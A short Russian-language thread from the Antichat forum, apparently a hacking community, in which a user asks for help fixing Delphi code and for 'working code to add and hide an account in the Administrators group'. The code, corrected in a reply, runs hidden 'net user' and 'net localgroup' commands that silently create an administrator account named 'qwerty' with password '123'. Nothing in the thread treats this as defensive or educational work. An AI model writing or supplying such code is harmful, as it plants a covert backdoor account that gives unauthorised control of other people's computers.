Форум АНТИЧАТ - Помогите с дельфином

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)

- - Помогите с дельфином (https://forum.antichat.xyz/showthread.php?t=190731)

Помогите с дельфином

Выдает ошибку константы.. при замене на реал, выдает уже на s1 в самом начале..

Пишет :

[Error] Unit1.pas(34): Statement expected but 'CONST' found

вот собственно сам код :

Цитата:

begin
const
s1 : pchar = 'net user qwerty 123 /add ';
const
s2 : pchar = 'net localgroup "Администраторы" qwerty /add';
end;

begin
WinExec(s1, SW_HIDE);
WinExec(s2, SW_HIDE);

или подскажите рабочий код добавления и скрытия учетки в группу администраторы..

omg....

Цитата:

const
s1 : pchar = 'net user qwerty 123 /add ';
s2 : pchar = 'net localgroup "Администраторы" qwerty /add';
begin
WinExec(s1, SW_HIDE);
WinExec(s2, SW_HIDE);
end;

так будет работать

тему можно закрывать, спасибо за ответ !